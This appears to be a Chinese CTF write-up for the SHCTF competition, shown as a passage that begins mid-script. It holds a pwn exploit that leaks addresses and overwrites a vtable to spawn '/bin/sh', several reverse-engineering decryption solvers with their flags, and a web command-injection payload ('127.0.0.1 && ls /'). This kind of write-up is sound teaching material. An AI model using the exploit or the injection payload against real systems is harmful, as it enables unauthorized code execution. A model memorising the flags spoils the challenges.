return bal, menu_data
def shop_choice(p, idx):
p.sendline(b'2')
p.recvuntil(b': ')
p.sendline(str(idx).encode())
return recv_menu(p)
def edit_name(p, payload):
p.sendline(b'3')
p.recvuntil(b': ')
p.send(payload + b'n')
return recv_menu(p)
def extract_hex(data):
s = data.decode('utf-8', errors='ignore')
return [int(x, 16) for x in HEX_RE.findall(s)]
def build_payload(name_addr, system_addr):
vt_off = 0x40
cmd = b'/bin/shx00'
payload = bytearray()
payload += cmd
payload += b'A' * (0x24 - len(payload))
payload += p64(name_addr)
payload += p64(name_addr + vt_off)
if len(payload) < vt_off:
payload += b'B' * (vt_off - len(payload))
payload += b'C' * 0x18
payload += p64(system_addr)
return bytes(payload)
def main():
p = start()
menu = recv_menu(p)
try:
menu = poison(p)
except EOFError:
log.error("Poison 失败")
return
_, menu = work_to(p, 3100, menu)
log.info("[*] 购买隐藏商品 3 (Heap Info)...")
data = shop_choice(p, 3)
addrs = extract_hex(data)
if not addrs:
log.error("未能泄露 Name 地址")
return
name_addr = addrs[-1]
log.success(f"Leak Name Addr: {hex(name_addr)}")
bal = parse_balance(data)
if bal < 3000:
_, menu = work_to(p, 3100, data)
log.info("[*] 购买隐藏商品 5 (Text Info)...")
data = shop_choice(p, 5)
addrs2 = extract_hex(data)
if not addrs2:
log.error("未能泄露 System 地址")
return
system_addr = addrs2[-1]
log.success(f"Leak System Addr: {hex(system_addr)}")
log.info("[*] 发送 RCE Payload...")
payload = build_payload(name_addr, system_addr)
edit_name(p, payload)
log.info("[*] 触发独立宣言 (Calling System)...")
p.sendline(b'4')
p.interactive()
if __name__ == '__main__':
main()

SHCTF{d021fc79-f589-445f-8b5d-b724367699f7}
阶段3(0)
没有时间做
Reverse
阶段1
a_cup_of_tea


题目分析
分析函数 sub_134E,发现常数 1640531527。计算可知 0 - 1640531527 = -1640531527,其十六进制补码为 0x9E3779B9,这是 TEA 算法的 Delta 常数。结合循环移位逻辑,确认算法为 TEA。

Key 获取: 在校验函数 sub_1439 中,TEA加密使用的密钥参数为 aWelcomeToShctf_0。查看数据段可知其内容为字符串: welcome_to_SHCTF

密文提取:
在 sub_1439 中,加密后的结果与以下硬编码的数值进行了比较
v[0] == -1699360031 (Hex: 0x9AB5D2E1)
v[1] == -1120419751 (Hex: 0xBD37C059)
v[2] == -1515845715 (Hex: 0xA5A607AD)
v[3] == -1804683212 (Hex: 0x946EB834)
exp.py
import struct
def decrypt(v, k):
v0, v1 = v[0], v[1]
k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
delta = 0x9E3779B9
sum_val = (delta * 32) & 0xFFFFFFFF
for _ in range(32):
v1 -= ((v0 << 4) + k2) ^ (v0 + sum_val) ^ ((v0 >> 5) + k3)
v1 &= 0xFFFFFFFF
v0 -= ((v1 << 4) + k0) ^ (v1 + sum_val) ^ ((v1 >> 5) + k1)
v0 &= 0xFFFFFFFF
sum_val -= delta
sum_val &= 0xFFFFFFFF
return v0, v1
key_str = b"welcome_to_SHCTF"
key = struct.unpack("<4I", key_str)
cipher = [0x9ab5d2e1, 0xbd37c059, 0xa5a607ad, 0x946eb834]
m1 = decrypt(cipher[0:2], key)
m2 = decrypt(cipher[2:4], key)
flag = struct.pack("<2I", *m1) + struct.pack("<2I", *m2)
print("SHCTF{" + flag.decode() + "}")

SHCTF{W0w_u_kN0w_t3A!!}
damagedPE

修复 PE 头
发现:使用 010 Editor 打开文件,发现 DOS 头正常 (MZ),但 PE 签名处(偏移 0x80)为 53 48 (“SH”)。

修复:将偏移 0x80 处的 53 48 修改为标准签名 50 45 (“PE”),保存文件。

flag1
将修复后的文件拖入 IDA 或运行。
逻辑:函数 sub_4016B9 存在简单异或逻辑 密文 ^ 85。

运行也行

flag{pe_struct_
flag2
线索:Hex 视图提示 “section table hides SEC”。

发现节表中存在异常节 .ctf。
提取:直接查看 .ctf 节的 Raw Data(文件偏移 0x2C00 处)。

发现明文字符串 h3ad3r_m4g1c_ 以及提示 “Please add the second IAT item content…”。
flag2
h3ad3r_m4g1c_
flag3
提示要求添加“第二个 IAT 项目内容”。
查看导入表(Imports),第 1 个是 CloseHandle,第 2 个是 CreateFileA。
按照格式 SHCTF{...} 组合就行。
exp.py
import struct
def get_flag():
try:
with open('damagedPE.exe', 'rb') as f:
d = f.read()
except:
with open('fixed_damagedPE.exe', 'rb') as f:
d = f.read()
pe_off = struct.unpack('<I', d[0x3C:0x40])[0]
num_sec = struct.unpack('<H', d[pe_off+6:pe_off+8])[0]
opt_sz = struct.unpack('<H', d[pe_off+20:pe_off+22])[0]
magic = struct.unpack('<H', d[pe_off+24:pe_off+26])[0]
if magic == 0x20B:
rva_imp = struct.unpack('<I', d[pe_off+24+112+8:pe_off+24+112+12])[0]
else:
rva_imp = struct.unpack('<I', d[pe_off+24+96+8:pe_off+24+96+12])[0]
secs = []
sec_start = pe_off + 24 + opt_sz
for i in range(num_sec):
off = sec_start + i * 40
sd = d[off:off+40]
v_addr = struct.unpack('<I', sd[12:16])[0]
raw_ptr = struct.unpack('<I', sd[20:24])[0]
v_size = struct.unpack('<I', sd[8:12])[0]
secs.append((v_addr, v_size, raw_ptr))
def rva2off(rva):
for va, vs, raw in secs:
if va <= rva < va + vs:
return rva - va + raw
return 0
imp_off = rva2off(rva_imp)
count = 0
while True:
orig_thunk = struct.unpack('<I', d[imp_off:imp_off+4])[0]
name_rva = struct.unpack('<I', d[imp_off+12:imp_off+16])[0]
if orig_thunk == 0 and name_rva == 0: break
thunk_rva = orig_thunk if orig_thunk != 0 else struct.unpack('<I', d[imp_off+16:imp_off+20])[0]
thunk_off = rva2off(thunk_rva)
while True:
if magic == 0x20B:
func_data = struct.unpack('<Q', d[thunk_off:thunk_off+8])[0]
step = 8
is_ord = func_data & (1 << 63)
else:
func_data = struct.unpack('<I', d[thunk_off:thunk_off+4])[0]
step = 4
is_ord = func_data & (1 << 31)
if func_data == 0: break
if not is_ord:
name_off = rva2off(func_data & 0x7FFFFFFF) + 2
func_name = ""
while d[name_off] != 0:
func_name += chr(d[name_off])
name_off += 1
count += 1
if count == 2:
return func_name
thunk_off += step
imp_off += 20
print(f"SHCTF{{pe_struct_h3ad3r_m4g1c_{get_flag()}}}")
拼接就行
SHCTF{pe_struct_h3ad3r_m4g1c_CreateFileA}
Safe Image Encryption

图片加密的
IDA分析
看Main函数

__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v3; // r13d
__int64 v5; // r14
unsigned int v6; // ebx
int v7; // eax
int v8; // r13d
int v9; // r15d
unsigned __int64 v10; // rcx
char v11; // di
char v12; // si
unsigned __int64 v13; // rtt
char v14; // r9
unsigned __int16 v15; // bx
char v16; // di
unsigned __int8 v17; // si
char v18; // dl
int v19; // ebx
int v20; // r12d
char v22; // [rsp+15h] [rbp-2A3h]
char v23; // [rsp+16h] [rbp-2A2h]
char v24; // [rsp+17h] [rbp-2A1h]
char v25; // [rsp+23h] [rbp-295h] BYREF
unsigned int v26; // [rsp+24h] [rbp-294h] BYREF
unsigned int v27; // [rsp+28h] [rbp-290h] BYREF
char v28[4]; // [rsp+2Ch] [rbp-28Ch] BYREF
_QWORD v29[4]; // [rsp+30h] [rbp-288h] BYREF
__int64 v30; // [rsp+50h] [rbp-268h] BYREF
unsigned __int64 v31; // [rsp+58h] [rbp-260h]
_QWORD v32[73]; // [rsp+70h] [rbp-248h] BYREF
v32[65] = __readfsqword(0x28u);
if ( a1 <= 3 )
{
__printf_chk(2, "Usage: %s <original.png> <key_file> <encrypted.png>n", *a2);
return 1;
}
else
{
v5 = sub_EB59(a2[1], &v26, &v27, v28, 4);
if ( v5 )
{
std::ifstream::basic_ifstream(v32, a2[2], 8);
sub_FE54(&v30, *(_QWORD *)((char *)&v32[29] + *(_QWORD *)(v32[0] - 24LL)), 0xFFFFFFFFLL, 0, 0xFFFFFFFFLL, v29);
if ( v31 )
{
if ( v31 == 1003 )
{
sub_FF74(v29, (int)(4 * v27 * v26), &v25);
v7 = v3;
v8 = 0;
v9 = v7;
while ( (int)v27 > v8 )
{
v20 = 0;
v19 = v9;
while ( (int)v26 > v20 )
{
v10 = (int)(4 * (v20 + v8 * v26));
v22 = *(_BYTE *)(v5 + v10 + 1);
v23 = *(_BYTE *)(v5 + v10 + 2);
v24 = *(_BYTE *)(v5 + v10 + 3);
v11 = *(_BYTE *)(v30 + (v10 % v31 + 1) % v31);
v12 = *(_BYTE *)(v30 + (v10 % v31 + 2) % v31);
v13 = v10 % v31 + 3;
v14 = v8 * v8 + v11;
LOBYTE(v15) = v20 * v20 + *(_BYTE *)(v30 + v10 % v31) + (*(_BYTE *)(v30 + v10 % v31) ^ 0xAA);
v16 = v12 ^ (v20 * v8) ^ (3 * v11);
HIBYTE(v15) = v16;
v17 = v14 + ((2 * v12) ^ 0x66);
v18 = (*(_BYTE *)(v30 + v13 % v31) ^ 0x55) - 16;
v19 = (((*(unsigned __int8 *)(v30 + v13 % v31) ^ 0x55) - 16) << 24) | (v17 << 16) & 0xFFFFFF | v15;
*(_BYTE *)(v29[0] + v10) = *(_BYTE *)(v5 + v10)
^ (v20 * v20 + *(_BYTE *)(v30 + v10 % v31) + (*(_BYTE *)(v30 + v10 % v31) ^ 0xAA));
*(_BYTE *)(v29[0] + v10 + 1) = v22 ^ v16;
*(_BYTE *)(v29[0] + v10 + 2) = v23 ^ v17;
*(_BYTE *)(v29[0] + v10 + 3) = v24 ^ v18;
++v20;
}
v9 = v19;
++v8;
}
sub_FBD3(a2[3], v26, v27, 4, v29[0], 4 * v26);
puts("Encryption completed.");
sub_DB6D(v5);
sub_FEB0(v29);
v6 = 0;
}
else
{
puts("Hint: key length is 1003 characters.");
v6 = 1;
}
}
else
{
puts("Key text is empty!");
v6 = 1;
}
std::string::_M_dispose(&v30);
std::ifstream::~ifstream(v32);
}
else
{
puts("Error loading image.");
return 1;
}
}
return v6;
}
可以梳理出程序的加密逻辑。程序读取原始图片和一个Key文件,对图片像素进行加密操作。
关键
Key长度:程序中硬编码提示 `Hint: key length is 1003 characters.`,且代码中取模运算使用的变量 `v31` 也是 1003。
遍历方式:代码通过双层循环遍历图片像素,`v8` 对应行索引 `y`,`v20` 对应列索引 `x`。
数据结构:图片以RGBA格式存储,每个像素占4字节。变量 `v10` 是当前像素的字节偏移量 `v10 = 4 * (x + y * width)`。
加密算法
通过分析可以知道
程序对RGBA四个通道分别进行了不同的异或(XOR)加密,Key的使用是循环的(index % 1003)。
假设 K 为Key数组,L = 1003,加密逻辑如下:
Red通道 (偏移 v10):
$$
Key索引:idx = v10 % L
$$
$$
加密值:R_enc = R_orig ^ (x*x + K[idx] + (K[idx] ^ 0xAA))
$$
Green通道 (偏移 v10+1):
$$
Key索引:idx_g = (v10 % L + 1) % L,对应代码中的变量 v11 取值。
$$
$$
Key索引2:idx_b = (v10 % L + 2) % L,对应代码中的变量 v12 取值。
$$
$$
中间变量:v16 = K[idx_b] ^ (x y) ^ (3 K[idx_g])
$$
$$
加密值:G_enc = G_orig ^ v16
$$
Blue通道 (偏移 v10+2):
$$
中间变量:v14 = y * y + K[idx_g]
$$
$$
中间变量:v17 = v14 + ((2 * K[idx_b]) ^ 0x66)
$$
$$
加密值:B_enc = B_orig ^ v17
$$
Alpha通道 (偏移 v10+3):
$$
Key索引:idx_a = (v10 % L + 3) % L
$$
$$
中间变量:v18 = (K[idx_a] ^ 0x55) – 16
$$
$$
加密值:A_enc = A_orig ^ v18
$$
解密
题目没有给出Key文件,但这是一个典型的已知明文攻击场景,因为我们知道这个是png图片里面是有固定内容的
主要是在Alpha通道
在标准的PNG图片(非透明图)中,Alpha通道(透明度)的值通常固定为 255 (0xFF)。
我们可以利用 encrypt.png 中的 Alpha 值反推 Key。
Key 恢复公式推导:
$$
已知:A_enc = 0xFF ^ v18
$$
$$
即:v18 = A_enc ^ 0xFF
$$
代入 v18 的计算公式:
$$
A_enc ^ 0xFF = (K[idx_a] ^ 0x55) – 16
$$
移项:
$$
K[idx_a] ^ 0x55 = (A_enc ^ 0xFF) + 16
$$
最终得到 Key:
K[idx_a] = (((A_enc ^ 0xFF) + 16) & 0xFF) ^ 0x55
由于 Key 长度仅为 1003 字节,而图片像素远超这个数量,我们只需遍历图片的前几行,利用 Alpha 通道填满 Key 数组,即可获得完整的密钥。
还原
爆破Key:遍历 encrypt.png 的像素,提取 Alpha 值,利用上述公式反推 Key 的每一个字节。
逆向解密:获取完整 Key 后,按照加密逻辑逆推 R、G、B 通道的原始值(XOR 运算是可逆的,A ^ B = C 则 C ^ B = A)。
exp.py
from PIL import Image
import struct
def solve():
img_path = "encrypt.png"
out_path = "0.png"
try:
img = Image.open(img_path).convert("RGBA")
pixels = img.load()
w, h = img.size
except:
return
key_len = 1003
key_buf = [None] * key_len
filled_count = 0
for y in range(h):
for x in range(w):
r, g, b, a = pixels[x, y]
v10 = 4 * (x + y * w)
k_idx = (v10 + 3) % key_len
if key_buf[k_idx] is None:
mask = a ^ 0xFF
key_val = ((mask + 16) & 0xFF) ^ 0x55
key_buf[k_idx] = key_val
filled_count += 1
if filled_count == key_len:
break
if filled_count == key_len:
break
if filled_count < key_len:
print("Key incomplete")
for y in range(h):
for x in range(w):
r, g, b, a = pixels[x, y]
v10 = 4 * (x + y * w)
idx_r = v10 % key_len
idx_g = (v10 + 1) % key_len
idx_b = (v10 + 2) % key_len
idx_a = (v10 + 3) % key_len
k_r = key_buf[idx_r]
k_g = key_buf[idx_g]
k_b = key_buf[idx_b]
k_a = key_buf[idx_a]
mask_r = ((x * x) + k_r + (k_r ^ 0xAA)) & 0xFF
orig_r = r ^ mask_r
v11 = k_g
v12 = k_b
mask_g = (v12 ^ (x * y) ^ (3 * v11)) & 0xFF
orig_g = g ^ mask_g
v14 = ((y * y) + v11) & 0xFF
mask_b = (v14 + ((2 * v12) ^ 0x66)) & 0xFF
orig_b = b ^ mask_b
v18 = ((k_a ^ 0x55) - 16) & 0xFF
orig_a = a ^ v18
pixels[x, y] = (orig_r, orig_g, orig_b, orig_a)
img.save(out_path)
print("Done")
if __name__ == "__main__":
solve()

SHCTF{@lPh4_b1T_L3Ak_th3_kEy_bUt_Ci4ll0!!}
阶段2
整数面

动态题目,下载,IDA分析
看main 函数中看似正常的校验流程实际上是个陷阱,一个坑666

sub_140001EEA 中如果输入为空,会调用 sub_140001957 利用 rand() 生成一个包含 “FAKE_FLAG” 的伪造 Flag。
当时上当了

SHCTF{7h1s_i5_4__FAKE_FLAG__h0N3y_p0t_sO_5wE3t_h4Ha}
假的
flag 后半部分 :
核心混淆函数 sub_14000161F。
该函数利用魔数 17 (0x11) 和 45 (0x2D) 生成一个 S-Box。
flag 的后半部分 Bu7_H@tES_Cod3_pr#tEc7iOn_@nd_craCkiNG}
直接隐藏在 S-Box 变换后的初始化数组中。同时,该数组还提供了索引,将原始密钥 your-secret-key-here 修改为 BV1GJ411x7h7key-here。

flag 前半部分:
真正的加密数据位于二进制文件中字符串 denuvo_atd 附近。

加密逻辑
RC4: 使用新密钥(跳过第1个字节)加密明文 Part 1。
Int Transform: 奇偶变换(main 函数同款逻辑)。
Cumulative Base64: 自定义字母表的累积求和 Base64 编码。
Bitwise NOT: 按位取反 (~).
加密流程逆向:
提取数据:搜索 200 字节数据块,特征是按位取反后符合 Base64 字符集。
1:按位取反 (~x)。
2:逆向累积 Base64 (Reverse Cumulative Sum)。
3:逆向整数变换(main 函数中的奇偶变换逻辑)。
4:RC4 解密,使用修改后的密钥(从第2字节开始)。
exp.py
import sys
from pathlib import Path
def rc4_decrypt(key, data):
s = list(range(256))
j = 0
for i in range(256):
j = (j + s[i] + key[i % len(key)]) & 0xFF
s[i], s[j] = s[j], s[i]
i = j = 0
res = bytearray()
for b in data:
i = (i + 1) & 0xFF
j = (j + s[i]) & 0xFF
s[i], s[j] = s[j], s[i]
res.append(b ^ s[(s[i] + s[j]) & 0xFF])
return bytes(res)
def gen_sbox():
s = list(range(256))
d8, d4 = 0x11, 0x2D
for _ in range(3):
d8 = (d8 * d8) & 0xFFFFFFFF
d4 = (d4 * d4) & 0xFFFFFFFF
for out in range(0x10):
for inn in range(0x10):
ac = (inn * d4 + out) & 0xF
edx = (out * d8) & 0xFFFFFFFF
ecx = (d8 * d4 + 1) & 0xFFFFFFFF
eax = (inn * ecx + edx) & 0xFFFFFFFF
a8 = eax & 0xF
idx1 = (out << 4) + inn
idx2 = (ac << 4) + a8
s[idx1], s[idx2] = s[idx2], s[idx1]
return s
def rev_cum_base64(data, alpha):
idx_map = {c: i for i, c in enumerate(alpha)}
prev = 0
vals = []
for c in data:
curr = idx_map[c]
vals.append((curr - prev) % 64)
prev = curr
out = bytearray()
for i in range(0, len(vals), 4):
if i+4 > len(vals): break
v = vals[i:i+4]
out.append(((v[0] << 2) | (v[1] >> 4)) & 0xFF)
out.append((((v[1] & 0xF) << 4) | (v[2] >> 2)) & 0xFF)
out.append((((v[2] & 0x3) << 6) | v[3]) & 0xFF)
return bytes(out)
def rev_int_trans(data, key):
out = bytearray()
klen = len(key)
for i, b in enumerate(data):
if (b & 1) == 0:
out.append(b >> 1)
else:
kb = (ord(key[i % klen]) | 1)
out.append(0x80 + ((b ^ kb) >> 1))
return bytes(out)
def solve():
exe = Path("int-mian.exe").read_bytes()
key_pos = exe.find(b"your-secret-key-here\x00")
base = key_pos - 0x40
print(f"[*] 定位到数据段偏移: {hex(base)}")
org_key = exe[base+0x40 : base+0x54]
alpha = exe[base+0x60 : base+0xA0]
init_arr = exe[base+0x120 : base+0x154]
print("[*] 生成 S-Box 并提取 Flag 后半部分...")
sbox = gen_sbox()
trans_arr = bytearray(init_arr)
for i in range(len(trans_arr)):
trans_arr[i] = sbox[trans_arr[i]]
part2 = trans_arr[:0x28].split(b"\x00")[0].decode()
print(f"[*] 找到 Flag 后半部分: {part2}")
mod_idxs = trans_arr[0x28:0x34]
mod_key = bytearray(org_key)
for i in range(12):
mod_key[i] = alpha[mod_idxs[i]]
mod_key_str = mod_key.decode()
print(f"[*] 生成新密钥: {mod_key_str}")
print("[*] 搜索加密数据块...")
denuvo = exe.find(b"denuvo_atd\x00")
alpha_set = set(alpha)
blob = None
for off in range(denuvo, min(len(exe), denuvo + 0x400)):
chunk = exe[off:off+200]
inv = bytes((~b) & 0xFF for b in chunk)
if all(c in alpha_set for c in inv):
blob = chunk
print(f"[*] 锁定加密数据块偏移: {hex(off)}")
break
encoded = bytes((~b) & 0xFF for b in blob)
decoded_b64 = rev_cum_base64(encoded, alpha)
pre_rc4 = rev_int_trans(decoded_b64, mod_key_str)
decrypted = rc4_decrypt(mod_key[1:], pre_rc4).decode(errors="ignore")
part1 = decrypted.split("SHCTF{")[1].split(" ")[0]
print(f"\n[+] Flag: SHCTF{{{part1}{part2}}}")
if __name__ == "__main__":
solve()

SHCTF{Iilran_IIK35_complLER_t3ChNOI#gy_aNd_ProGRAm_M3ch4nlSM5_Bu7_H@tES_Cod3_pr#tEc7iOn_@nd_craCkiNG}
LicenseVerifier

python打包的
解包


用Pycdc and Pycdas2 反编译不成功版本不同 作者用的python3.13

import os
import sys
import ctypes
import sys_core
BASE_DIR = os.path.dirname(__file__)
def _load_library(name: str) -> bool:
'''Attempts to load a DLL for environment setup.'''
path = os.path.join(BASE_DIR,name)
if os.path.exists(path):
return False
else:
try:
lib = ctypes.WinDLL(path)
for init_func in ('init_vm','hook_init','init'):
if hasattr(lib,init_func):
try:
getattr(lib,init_func)()
return True
return True
except Exception:
pass
except Exception:
return False
def _check_decoy() -> None:
'''Checks for decoy flags (CTF element).'''
path = os.path.join(BASE_DIR,'decoy.dll')
if os.path.exists(path):
try:
lib = ctypes.WinDLL(path)
if hasattr(lib,'get_decoy_flag'):
f = lib.get_decoy_flag
f.restype = ctypes.c_char_p
print(f'''Hint: {f().decode(errors='ignore')}''')
except Exception:
pass
fake_flag_path = os.path.join(BASE_DIR,'fake_flag.txt')
if os.path.exists(fake_flag_path):
try:
with open(fake_flag_path,'r',encoding='utf-8',errors='ignore') as f:
print(f'''Hint: {f.read().strip()}''')
except Exception:
return None
return None
else:
return None
def main():
'''Main entry point for the License Verifier.'''
print('License Verifier v1.0')
print('=====================')
_check_decoy()
if _load_library('hook.dll'):
print('[System] Hook library loaded.')
try:
license_key = input('Enter License Key: ').strip()
except EOFError:
return None
if sys_core.verify_license(license_key):
print('n[Success] License Validated. Access Granted.')
return None
else:
print('n[Error] Invalid License Key.')
sys.exit(1)
return None
if __name__ == '__main__':
main()
© 2025-2026 Copyright PyChaos
从 main.py 的代码中可以看到这一行关键判断:
if sys_core.verify_license(license_key):
这意味着真正的验证逻辑在 sys_core 模块中。
题目描述提到“虚拟机技术”,且代码中有 ctypes.WinDLL 加载库的操作,并尝试调用 init_vm。
使用 IDA hook.dll。 发现是假的

发现PYZ.pyz_extracted 里面没有东西

使用解包有问题使用用网站吧 py版本不同的原因PyInstaller Extractor WEB

分析sys_core.pyc

反编译

import hashlib
import struct
import os
from typing import List, Optional
OP_PUSH,OP_XOR,OP_ADD,OP_SUB,OP_LOAD,OP_CHECK,OP_OUT,OP_HALT = range(1,9)
class KernelError(Exception):
__doc__ = 'Custom exception for Kernel errors.'
class SystemKernel:
__doc__ = '''
Lightweight virtual machine kernel for license verification.
'''
def __init__(self,code: bytes,user_input: str):
self.code = code
self.ip = 0
self.stack = []
self.input_buffer = user_input
self.is_valid = True
self.output = []
def _fetch_byte(self) -> int:
if self.ip >= len(self.code):
raise KernelError('Instruction Pointer Out of Bounds')
val = self.code[self.ip]
self.ip += 1
return val
def _fetch_word(self) -> int:
return self._fetch_byte()|self._fetch_byte()<<8
def run(self) -> bool:
'''Executes the bytecode.'''
while self.ip < len(self.code):
op = self._fetch_byte()
if op == OP_PUSH:
self.stack.append(self._fetch_word())
else:
if op == OP_XOR:
a = self.stack.pop()
b = self.stack.pop()
self.stack.append(a^b)
else:
if op == OP_ADD:
a = self.stack.pop()
b = self.stack.pop()
self.stack.append(a+b&65535)
else:
if op == OP_SUB:
a = self.stack.pop()
b = self.stack.pop()
self.stack.append(a-b&65535)
else:
if op == OP_LOAD:
idx = self._fetch_word()
val = ord(self.input_buffer[idx]) if idx < len(self.input_buffer) else 0
self.stack.append(val)
else:
if op == OP_CHECK:
target = self._fetch_word()
val = self.stack.pop()
if val != target:
self.is_valid = False
else:
if op == OP_OUT:
self.output.append(chr(self.stack.pop()&255))
else:
if op == OP_HALT:
pass
return self.is_valid
else:
raise KernelError(f'''Unknown Opcode: {op:02x}''')
return self.is_valid
API_SECRET = 'SysCore@2025#internal_key'
def _derive_key(length: int) -> bytes:
return hashlib.sha256(API_SECRET+str(length).encode()).digest()
def _load_config() -> bytes:
'''Loads and decrypts the system configuration (bytecode).'''
config_path = os.path.join(os.path.dirname(__file__),'sys.config')
if os.path.exists(config_path):
raise KernelError('Configuration Missing')
with open(config_path,'rb') as f:
data = f.read()
if len(data) < 2:
raise KernelError('Configuration Corrupted')
code_len = struct.unpack('<H',data[:2])[0]
encrypted_payload = data[2:]
key = _derive_key(code_len)
layer1 = bytearray((x^i*165^92&255 for i,x in enumerate(encrypted_payload)))
decrypted_body = (key,layer1)((layer1[i]^key[i%len(key)] for i in range(len(layer1))))
bytecode = decrypted_body[:code_len]
checksum = struct.unpack('<I',decrypted_body[code_len:code_len+4])[0]
if sum(bytecode)&0xFFFFFFFF != checksum:
raise KernelError('Integrity Check Failed')
return bytecode
def verify_license(user_input: str) -> bool:
'''Public API to verify the license key.'''
try:
bytecode = _load_config()
kernel = SystemKernel(bytecode,user_input)
return kernel.run()
except Exception:
return False
© 2025-2026 Copyright PyChaos
sys_core.py 实现了一个基于栈的虚拟机(Stack VM)。
字节码加载:读取 sys.config -> SHA256 派生密钥 -> 两层 XOR 解密 -> 校验 Checksum。
指令集:包含 PUSH, XOR, ADD, SUB, LOAD (读取输入), CHECK (校验值) 等指令。

解题思路:
复现解密算法还原 Bytecode。
编写符号执行(Symbolic Execution)脚本,模拟 VM 堆栈操作。
遇到 OP_CHECK 指令时,根据栈顶表达式反推输入字符。
exp.py
import hashlib
import struct
import os
import sys
API_SECRET = 'SysCore@2025#internal_key'
class Node:
def __init__(self, type_, value=None, left=None, right=None):
self.type = type_
self.value = value
self.left = left
self.right = right
self.op = None
def derive_key(length):
raw = API_SECRET + str(length)
return hashlib.sha256(raw.encode('utf-8')).digest()
def get_bytecode():
with open('sys.config', 'rb') as f:
data = f.read()
code_len = struct.unpack('<H', data[:2])[0]
enc = data[2:]
key = derive_key(code_len)
l1 = bytearray()
for i, x in enumerate(enc):
l1.append((x ^ (i * 165) ^ 92) & 0xFF)
body = bytearray()
for i in range(len(l1)):
body.append(l1[i] ^ key[i % len(key)])
return body[:code_len]
def solve_node(node, target, res):
if node.type == 'INPUT':
res[node.value] = target
return
def is_c(n):
if n.type == 'CONST': return True
if n.type == 'INPUT': return False
return is_c(n.left) and is_c(n.right)
def eval_c(n):
if n.type == 'CONST': return n.value
if n.op == 3: return (eval_c(n.left) + eval_c(n.right)) & 0xFFFF
if n.op == 4: return (eval_c(n.left) - eval_c(n.right)) & 0xFFFF
if n.op == 2: return eval_c(n.left) ^ eval_c(n.right)
return 0
lc = is_c(node.left)
rc = is_c(node.right)
if lc and not rc:
c = eval_c(node.left)
if node.op == 3: solve_node(node.right, (target - c) & 0xFFFF, res)
elif node.op == 4: solve_node(node.right, (c - target) & 0xFFFF, res)
elif node.op == 2: solve_node(node.right, target ^ c, res)
elif not lc and rc:
c = eval_c(node.right)
if node.op == 3: solve_node(node.left, (target - c) & 0xFFFF, res)
elif node.op == 4: solve_node(node.left, (target + c) & 0xFFFF, res)
elif node.op == 2: solve_node(node.left, target ^ c, res)
def pwn():
code = get_bytecode()
ip = 0
stack = []
chars = {}
def fb():
nonlocal ip
v = code[ip]
ip += 1
return v
def fw():
return fb() | (fb() << 8)
while ip < len(code):
op = fb()
if op == 1:
stack.append(Node('CONST', value=fw()))
elif op == 5:
stack.append(Node('INPUT', value=fw()))
elif op in (2, 3, 4):
a = stack.pop()
b = stack.pop()
n = Node('OP', left=a, right=b)
n.op = op
stack.append(n)
elif op == 6:
target = fw()
expr = stack.pop()
solve_node(expr, target, chars)
elif op == 7:
if stack: stack.pop()
elif op == 8:
break
mx = max(chars.keys())
f = [''] * (mx + 1)
for k, v in chars.items():
f[k] = chr(v)
print(''.join(f))
if __name__ == '__main__':
pwn()

SHCTF{Vm_1s_FuN_&_PyTh0n_1s_PoW3rFuL_But_R3aL_W0r1d_1s_M0r3_C0mp1ic4t3d}
阶段3
trace


简单分析分析
分析程序模拟了一个 TEA 变体 加密算法。程序通过 exec 函数将基础算术运算(加法、异或、位移、乘法)进行了混淆包装。
通过指令表模拟基础运算(0:加法, 1:异或, 2:左移, 3:右移, 4:乘法)。
代码太大了就不呈现了
密钥生成:
k0 = (0x12345678 & 0xFFFF) * 0x1337 = 0x67399D08
k1 = 0xDEADBEEF + 0xAAAA = 0xDEAE6999
k2 = k0 ^ k1 = 0xB997F491
k3 = (k2 << 1) + 1 = 0x732FE923
加密特征:
单轮常数 delta = 0x9E3779B9。
标准 TEA 结构,但位移位数和密钥索引有所变化。
v0 更新公式:v0 += ((v1 << 2) + k3) ^ (v1 + sum) ^ ((v1 >> 4) + k1)
v1 更新公式:v1 += ((v0 << 2) + k2) ^ (v0 + sum) ^ ((v0 >> 4) + k0)
总计迭代 32 轮。
加密:将输入 flag 按 8 字节(两个 uint32)分组。
初始 sum = 0。
循环 32 次:
sum += delta
v0 += [(v1 << 2) + k3] ^ [v1 + sum] ^ [(v1 >> 4) + k1]
v1 += [(v0 << 2) + k2] ^ [v0 + sum] ^ [(v0 >> 4) + k0]
解密循环 32 次(逆向)就行了
初始 sum = delta * 32
v1 -= [(v0 << 2) + k2] ^ [v0 + sum] ^ [(v0 >> 4) + k0]
v0 -= [(v1 << 2) + k3] ^ [v1 + sum] ^ [(v1 >> 4) + k1]
sum -= delta
exp.py
import struct
def decrypt(v0, v1, k):
delta = 0x9E3779B9
sum_val = (delta * 32) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - (((v0 << 2) + k[2]) ^ (v0 + sum_val) ^ ((v0 >> 4) + k[0]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 2) + k[3]) ^ (v1 + sum_val) ^ ((v1 >> 4) + k[1]))) & 0xFFFFFFFF
sum_val = (sum_val - delta) & 0xFFFFFFFF
return v0, v1
k0 = (0x5678 * 0x1337) & 0xFFFFFFFF
k1 = (0xDEADBEEF + 0xAAAA) & 0xFFFFFFFF
k2 = (k0 ^ k1) & 0xFFFFFFFF
k3 = (k2 * 2 + 1) & 0xFFFFFFFF
key = [k0, k1, k2, k3]
target = [
0x4a, 0xd4, 0x4f, 0x82, 0x37, 0xe8, 0x6d, 0xf9,
0x55, 0x6e, 0xc5, 0x22, 0x36, 0xb1, 0x38, 0x5b,
0xc1, 0x8f, 0x27, 0x6a, 0xff, 0x65, 0x85, 0x42,
0x24, 0xbf, 0x63, 0xde, 0x33, 0xb8, 0x4d, 0x8e,
0xbc, 0xae, 0xb3, 0x5b, 0x7e, 0x9c, 0x76, 0x11
]
blocks = []
for i in range(0, len(target), 4):
blocks.append(struct.unpack("<I", bytes(target[i:i+4]))[0])
flag = b""
for i in range(0, len(blocks), 2):
v0, v1 = decrypt(blocks[i], blocks[i+1], key)
flag += struct.pack("<II", v0, v1)
print(flag.decode().strip('x00'))

SHCTF{all_you_need_is_deobfuscation}
Web(全解)
阶段1
ez-ping

漏洞成因: 后端未过滤 ping 命令的输入参数,存在命令注入漏洞。
首先确认目录文件结构。
Payload:
127.0.0.1 && ls /
发现根目录下存在 flag 文件。

读取就行
绕过技巧分析
命令连接 (&&): 利用逻辑与,在 IP Ping 通后执行后续命令。
